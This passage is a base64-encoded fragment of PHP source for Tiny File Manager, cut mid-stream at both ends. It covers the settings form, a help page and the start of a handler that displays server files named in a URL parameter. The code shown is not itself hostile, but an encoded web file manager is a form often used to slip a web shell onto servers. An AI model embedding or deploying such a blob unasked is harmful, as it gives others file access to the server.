9saXN0IGFzICRrID0+ICR2KSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIFwiPG9wdGlvbiB2YWx1ZT0nJGsnIFwiIC4gZ2V0U2VsZWN0ZWQoJGspIC4gXCI+JHY8XC9vcHRpb24+XCI7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zZWxlY3Q+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm10LTMgbWItMyByb3cgXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPVwianMtZXJyb3ItcmVwb3J0XCIgY2xhc3M9XCJjb2wtc20tMyBjb2wtZm9ybS1sYWJlbFwiPjw/cGhwIGVjaG8gbG5nKCdFcnJvclJlcG9ydGluZycpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXNtLTlcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1jaGVjayBmb3JtLXN3aXRjaFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJmb3JtLWNoZWNrLWlucHV0XCIgdHlwZT1cImNoZWNrYm94XCIgcm9sZT1cInN3aXRjaFwiIGlkPVwianMtZXJyb3ItcmVwb3J0XCIgbmFtZT1cImpzLWVycm9yLXJlcG9ydFwiIHZhbHVlPVwidHJ1ZVwiIDw/cGhwIGVjaG8gJHJlcG9ydF9lcnJvcnMgPyAnY2hlY2tlZCcgOiAnJzsgPz4gXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1iLTMgcm93XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPVwianMtc2hvdy1oaWRkZW5cIiBjbGFzcz1cImNvbC1zbS0zIGNvbC1mb3JtLWxhYmVsXCI+PD9waHAgZWNobyBsbmcoJ1Nob3dIaWRkZW5GaWxlcycpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXNtLTlcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1jaGVjayBmb3JtLXN3aXRjaFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJmb3JtLWNoZWNrLWlucHV0XCIgdHlwZT1cImNoZWNrYm94XCIgcm9sZT1cInN3aXRjaFwiIGlkPVwianMtc2hvdy1oaWRkZW5cIiBuYW1lPVwianMtc2hvdy1oaWRkZW5cIiB2YWx1ZT1cInRydWVcIiA8P3BocCBlY2hvICRzaG93X2hpZGRlbl9maWxlcyA/ICdjaGVja2VkJyA6ICcnOyA/PiBcLz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItMyByb3dcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9XCJqcy1oaWRlLWNvbHNcIiBjbGFzcz1cImNvbC1zbS0zIGNvbC1mb3JtLWxhYmVsXCI+PD9waHAgZWNobyBsbmcoJ0hpZGVDb2x1bW5zJykgPz48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtc20tOVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJmb3JtLWNoZWNrIGZvcm0tc3dpdGNoXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz1cImZvcm0tY2hlY2staW5wdXRcIiB0eXBlPVwiY2hlY2tib3hcIiByb2xlPVwic3dpdGNoXCIgaWQ9XCJqcy1oaWRlLWNvbHNcIiBuYW1lPVwianMtaGlkZS1jb2xzXCIgdmFsdWU9XCJ0cnVlXCIgPD9waHAgZWNobyAkaGlkZV9Db2xzID8gJ2NoZWNrZWQnIDogJyc7ID8+IFwvPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuXG4gICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtYi0zIHJvd1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImpzLTMtMVwiIGNsYXNzPVwiY29sLXNtLTMgY29sLWZvcm0tbGFiZWxcIj48P3BocCBlY2hvIGxuZygnVGhlbWUnKSA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC1zbS01XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBjbGFzcz1cImZvcm0tc2VsZWN0IHctMTAwIHRleHQtY2FwaXRhbGl6ZVwiIGlkPVwianMtMy0wXCIgbmFtZT1cImpzLXRoZW1lLTNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0nbGlnaHQnIDw/cGhwIGlmICgkdGhlbWUgPT0gXCJsaWdodFwiKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIFwic2VsZWN0ZWRcIjtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSA/Pj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdsaWdodCcpID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL29wdGlvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0nZGFyaycgPD9waHAgaWYgKCR0aGVtZSA9PSBcImRhcmtcIikge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBcInNlbGVjdGVkXCI7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gPz4+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnZGFyaycpID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL29wdGlvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zZWxlY3Q+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItMyByb3dcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtc20tMTBcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0biBidG4tc3VjY2Vzc1wiPiA8aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdTYXZlJyk7ID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgICAgICAgICAgPHNtYWxsIGNsYXNzPVwidGV4dC1ib2R5LXNlY29uZGFyeVwiPiogPD9waHAgZWNobyBsbmcoJ1NvbWV0aW1lcyB0aGUgc2F2ZSBhY3Rpb24gbWF5IG5vdCB3b3JrIG9uIHRoZSBmaXJzdCB0cnksIHNvIHBsZWFzZSBhdHRlbXB0IGl0IGFnYWluJykgPz4uPFwvc21hbGw+XG4gICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgIDxcL2Rpdj5cbjw/cGhwXG4gICAgZm1fc2hvd19mb290ZXIoKTtcbiAgICBleGl0O1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2hlbHAnXSkpIHtcbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG4gICAgZ2xvYmFsICRjZmcsICRsYW5nO1xuPz5cblxuICAgIDxkaXYgY2xhc3M9XCJjb2wtbWQtOCBvZmZzZXQtbWQtMiBwdC0zXCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkIG1iLTJcIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cbiAgICAgICAgICAgIDxoNiBjbGFzcz1cImNhcmQtaGVhZGVyIGQtZmxleCBqdXN0aWZ5LWNvbnRlbnQtYmV0d2VlblwiPlxuICAgICAgICAgICAgICAgIDxzcGFuPjxpIGNsYXNzPVwiZmEgZmEtZXhjbGFtYXRpb24tY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0hlbHAnKSA/PjxcL3NwYW4+XG4gICAgICAgICAgICAgICAgPGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gRk1fUEFUSCA/PlwiIGNsYXNzPVwidGV4dC1kYW5nZXJcIj48aSBjbGFzcz1cImZhIGZhLXRpbWVzLWNpcmNsZS1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYT5cbiAgICAgICAgICAgIDxcL2g2PlxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJyb3dcIj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC14cy0xMiBjb2wtc20tNlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPHA+XG4gICAgICAgICAgICAgICAgICAgICAgICA8aDM+PGEgaHJlZj1cImh0dHBzOlwvXC9naXRodWIuY29tXC9wcmFzYXRobWFuaVwvdGlueWZpbGVtYW5hZ2VyXCIgdGFyZ2V0PVwiX2JsYW5rXCIgY2xhc3M9XCJhcHAtdi10aXRsZVwiPiBUaW55IEZpbGUgTWFuYWdlciA8P3BocCBlY2hvIFZFUlNJT047ID8+PFwvYT48XC9oMz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICA8cD5BdXRob3I6IFBSQVx1MDE1YUFUSCBNQU5cdTAxMzA8XC9wPlxuICAgICAgICAgICAgICAgICAgICAgICAgPHA+TWFpbCBVczogPGEgaHJlZj1cIm1haWx0bzpjY3Bwcm9ncmFtbWVyc0BnbWFpbC5jb21cIj5jY3Bwcm9ncmFtbWVycyBbYXRdIGdtYWlsIFtkb3RdIGNvbTxcL2E+IDxcL3A+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC14cy0xMiBjb2wtc20tNlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmRcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dWwgY2xhc3M9XCJsaXN0LWdyb3VwIGxpc3QtZ3JvdXAtZmx1c2hcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtXCI+PGEgaHJlZj1cImh0dHBzOlwvXC9naXRodWIuY29tXC9wcmFzYXRobWFuaVwvdGlueWZpbGVtYW5hZ2VyXC93aWtpXCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGkgY2xhc3M9XCJmYSBmYS1xdWVzdGlvbi1jaXJjbGVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnSGVscCBEb2N1bWVudHMnKSA/PiA8XC9hPiA8XC9saT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtXCI+PGEgaHJlZj1cImh0dHBzOlwvXC9naXRodWIuY29tXC9wcmFzYXRobWFuaVwvdGlueWZpbGVtYW5hZ2VyXC9pc3N1ZXNcIiB0YXJnZXQ9XCJfYmxhbmtcIj48aSBjbGFzcz1cImZhIGZhLWJ1Z1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdSZXBvcnQgSXNzdWUnKSA/PjxcL2E+PFwvbGk+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpIHsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjxhIGhyZWY9XCJqYXZhc2NyaXB0OnNob3dfbmV3X3B3ZCgpO1wiPjxpIGNsYXNzPVwiZmEgZmEtbG9ja1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdHZW5lcmF0ZSBuZXcgcGFzc3dvcmQgaGFzaCcpID8+PFwvYT48XC9saT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJyb3cganMtbmV3LXB3ZCBoaWRkZW4gbXQtMlwiPlxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLTEyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cImZvcm0taW5saW5lXCIgb25zdWJtaXQ9XCJyZXR1cm4gbmV3X3Bhc3N3b3JkX2hhc2godGhpcylcIiBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwicHdkaGFzaFwiIGFyaWEtbGFiZWw9XCJoaWRkZW5cIiBhcmlhLWhpZGRlbj1cInRydWVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1ncm91cCBtYi0yXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9XCJzdGF0aWNFbWFpbDJcIj48P3BocCBlY2hvIGxuZygnR2VuZXJhdGUgbmV3IHBhc3N3b3JkIGhhc2gnKSA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1ncm91cCBteC1zbS0zIG1iLTJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImlucHV0UGFzc3dvcmQyXCIgY2xhc3M9XCJzci1vbmx5XCI+PD9waHAgZWNobyBsbmcoJ1Bhc3N3b3JkJykgPz48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgY2xhc3M9XCJmb3JtLWNvbnRyb2wgYnRuLXNtXCIgaWQ9XCJpbnB1dFBhc3N3b3JkMlwiIG5hbWU9XCJpbnB1dFBhc3N3b3JkMlwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ1Bhc3N3b3JkJykgPz5cIiByZXF1aXJlZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLXN1Y2Nlc3MgYnRuLXNtIG1iLTJcIj48P3BocCBlY2hvIGxuZygnR2VuZXJhdGUnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiByb3dzPVwiMlwiIHJlYWRvbmx5IGlkPVwianMtcHdkLXJlc3VsdFwiPjxcL3RleHRhcmVhPlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICA8XC9kaXY+XG4gICAgPFwvZGl2PlxuPD9waHBcbiAgICBmbV9zaG93X2Zvb3RlcigpO1xuICAgIGV4aXQ7XG59XG5cbmlmIChpc3NldCgkX0dFVFsndmlldyddKSkge1xuICAgICRmaWxlID0gJF9HRVRbJ3ZpZXcnXTtcbiAgICAkZmlsZSA9IGZtX2NsZWFuX3BhdGgoJGZpbGUsIGZhbHNlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSB8fCAhZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSwgJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgZm1fc2hvd19oZWFkZXIoKTtcbiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuXG4gICAgJGZpbGVfdXJsID0gRk1fUk9PVF9VUkwgLiBmbV9jb252ZXJ0X3dpbigoRk1fUEFUSCAhPSAnJyA/ICdcLycgLiBGTV9QQVRIIDogJycpIC4gJ1wvJyAuICRmaWxlKTtcbiAgICAkZmlsZV9wYXRoID0gJHBhdGggLiAnXC8nIC4gJGZpbGU7XG5cbiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZV9wYXRoLCBQQVRISU5GT19FWFRFTlNJT04pKTtcbiAgICAkbWltZV90eXBlID0gZm1fZ2V0X21pbWVfdHlwZSgkZmlsZV9wYXRoKTtcbiAgICAkZmlsZXNpemVfcmF3ID0gZm1fZ2V0X3NpemUoJGZpbGVfcGF0aCk7XG4gICAgJGZpbGVzaXplID0gZm1fZ2V0X2ZpbGVzaXplKCRmaWxlc2l6ZV9yYXcpO1xuXG4gICAgJGlzX3ppcCA9IGZhbHNlO1xuICAgICRpc19nemlwID0gZmFsc2U7XG4gICAgJGlzX2ltYWdlID0gZmFsc2U7XG4gICAgJGlzX2F1ZGlvID0gZmFsc2U7XG4gICAgJGlzX3ZpZGVvID0gZmFsc2U7XG4gICAgJGlzX3RleHQgPSBmYWxzZTtcbiAgICAkaXNfb25saW5lVmlld2VyID0gZmFsc2U7XG5cbiAgICAkdmlld190aXRsZSA9ICdGaWxlJztcbiAgICAkZmlsZW5hbWVzID0gZmFsc2U7XG4gICAgJGNvbnRlbnQgPSAnJztcbiAgICAkb25saW5lX3ZpZXdlciA9IHN0cnRvbG93ZXIoRk1fRE9DX1ZJRVdFUik7XG5cbiAgICBpZiAoJG9ubGluZV92aWV3ZXIgJiYgJG9ubGluZV92aWV3ZXIgIT09ICdmYWxzZScgJiYgaW5fYXJyYXkoJGV4dCwgZm1fZ2V0X29ubGluZVZpZXdlcl9leHRzKCkpKSB7XG4gICAgICAgICRpc19vbmxpbmVWaWV3ZXIgPSB0cnVlO1xuICAgIH0gZWxzZWlmICgkZXh0ID09ICd6aXAnIHx8ICRleHQgPT0gJ3RhcicpIHtcbiAgICAgICAgJGlzX3ppcCA9IHRydWU7XG4gICAgICAgICR2aWV3X3RpdGxlID0gJ0FyY2hpdmUnO1xuICAgICAgICAkZmlsZW5hbWVzID0gZm1fZ2V0X3ppZl9pbmZvKCRmaWxlX3BhdGgsICRleHQpO1xuICAgIH0gZWxzZWlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfaW1hZ2VfZXh0cygpKSkge1xuICAgICAgICAkaXNfaW1hZ2UgPSB0cnVlO1xuICAgICAgICAkdmlld190aXRsZSA9ICdJbWFnZSc7XG4gICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsIGZtX2dldF9hdWRpb19leHRzKCkpKSB7XG4gICAgICAgICRpc19hdWRpbyA9IHRydWU7XG4gICAgICAgICR2aWV3X3RpdGxlID0gJ0F1ZGlvJztcbiAgICB9IGVsc2VpZiAoaW5fYXJyYXkoJGV4dCwgZm1fZ2V0X3ZpZGVvX2V4dHMoKSkpIHtcbiAgICAgICAgJGlzX3ZpZGVvID0gdHJ1ZTtcbiAgICAgICAgJHZpZXdfdGl0bGUgPSAnVmlkZW8nO1xuICAgIH0gZWxzZWlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfdGV4dF9leHRzKCkpIHx8IHN1YnN0cigkbWltZV90eXBlLCAwLCA0KSA9PSAndGV4dCcgfHwgaW5fYXJyYXkoJG1pbWVfdHlwZSwgZm1fZ2V0X3RleHRfbWltZXMoKSkpIHtcbiAgICAgICAgJGlzX3RleHQgPSB0cnVlO1xuICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpO1xuICAgIH1cblxuPz5cbiAgICA8ZGl2IGNsYXNzPVwicm93XCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtMTJcIj5cbiAgICAgICAgICAgIDx1bCBjbGFzcz1cImxpc3QtZ3JvdXAgdy01MCBteS0zXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtIGFjdGl2ZVwiIGFyaWEtY3VycmVudD1cInRydWVcIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCR2aWV3X3RpdGxlKSA/Pjo8XC9zdHJvbmc+IDw/cGhwIGVjaG8gZm1fZW5jKGZtX2NvbnZlcnRfd2luKCRmaWxlKSkgPz48XC9saT5cbiAgICAgICAgICAgICAgICA8P3BocCAkZGlzcGxheV9wYXRoID0gZm1fZ2V0X2Rpc3BsYXlfcGF0aCgkZmlsZV9wYXRoKTsgPz5cbiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48c3Ryb25nPjw/cGhwIGVjaG8gJGRpc3BsYXlfcGF0aFsnbGFiZWwnXTsgPz46PFwvc3Ryb25nPiA8P3BocCBlY2hvICRkaXNwbGF5X3BhdGhbJ3BhdGgnXTsgPz48XC9saT5cbiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCdEYXRlIE1vZGlmaWVkJykgPz46PFwvc3Ryb25nPiA8P3BocCBlY2hvIGRhdGUoRk1fREFURVRJTUVfRk9STUFULCBmaWxlbXRpbWUoJGZpbGVfcGF0aCkpOyA/PjxcL2xpPlxuICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ0ZpbGUgc2l6ZScpID8+OjxcL3N0cm9uZz4gPD9waHAgZWNobyAoJGZpbGVzaXplX3JhdyA8PSAxMDAwKSA/IFwiJGZpbGVzaXplX3JhdyBieXRlc1wiIDogJGZpbGVzaXplOyA/PjxcL2xpPlxuICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ01JTUUtdHlwZScpID8+OjxcL3N0cm9uZz4gPD9waHAgZWNobyAkbWltZV90eXBlID8+PFwvbGk+XG4gICAgICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICBpZiAoKCRpc196aXAgfHwgJGlzX2d6aXApICYmICRmaWxlbmFtZXMgIT09IGZhbHNlKSB7XG4gICAgICAgICAgICAgICAgICAgICR0b3RhbF9maWxlcyA9IDA7XG4gICAgICAgICAgICAgICAgICAgICR0b3RhbF9jb21wID0gMDtcbiAgICAgICAgICAgICAgICAgICAgJHRvdGFsX3VuY29tcCA9IDA7XG4gICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlbmFtZXMgYXMgJGZuKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRmblsnZm9sZGVyJ10pIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfZmlsZXMrKztcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgICR0b3RhbF9jb21wICs9ICRmblsnY29tcHJlc3NlZF9zaXplJ107XG4gICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfdW5jb21wICs9ICRmblsnZmlsZXNpemUnXTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjw/cGhwIGVjaG8gbG5nKCdGaWxlcyBpbiBhcmNoaXZlJykgPz46IDw/cGhwIGVjaG8gJHRvdGFsX2ZpbGVzID8+PFwvbGk+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjw/cGhwIGVjaG8gbG5nKCdUb3RhbCBzaXplJykgPz46IDw/cGhwIGVjaG8gZm1fZ2V0X2ZpbGVzaXplKCR0b3RhbF91bmNvbXApID8+PFwvbGk+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPiA8P3BocCBlY2hvIGxuZygnU2l6ZSBpbiBhcmNoaXZlJykgPz46IDw/cGhwIGVjaG8gZm1fZ2V0X2ZpbGVzaXplKCR0b3RhbF9jb21wKSA/PjxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48P3BocCBlY2hvIGxuZygnQ29tcHJlc3Npb24nKSA/PjogPD9waHAgZWNobyByb3VuZCgoJHRvdGFsX2NvbXAgXC8gbWF4KCR0b3RhbF91bmNvbXAsIDEpKSAqIDEwMCkgPz4lPFwvbGk+XG4gICAgICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgaWYgKCRpc19pbWFnZSkge1xuICAgICAgICAgICAgICAgICAgICAkaW1hZ2Vfc2l6ZSA9IGdldGltYWdlc2l6ZSgkZmlsZV9wYXRoKTtcbiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtXCI+PHN0cm9uZz4nIC4gbG5nKCdJbWFnZSBzaXplJykgLiAnOjxcL3N0cm9uZz4gJyAuIChpc3NldCgkaW1hZ2Vfc2l6ZVswXSkgPyAkaW1hZ2Vfc2l6ZVswXSA6ICcwJykgLiAnIHggJyAuIChpc3NldCgkaW1hZ2Vfc2l6ZVsxXSkgPyAkaW1hZ2Vfc2l6ZVsxXSA6ICcwJykgLiAnPFwvbGk+JztcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgaWYgKCRpc190ZXh0KSB7XG4gICAgICAgICAgICAgICAgICAgICRpc191dGY4ID0gZm1faXNfdXRmOCgkY29udGVudCk7XG4gICAgICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2ljb252JykpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJGlzX3V0ZjgpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9IGljb252KEZNX0lDT05WX0lOUFVUX0VOQywgJ1VURi04XC9cL0lHTk9SRScsICRjb250ZW50KTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICBlY2hvICc8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48c3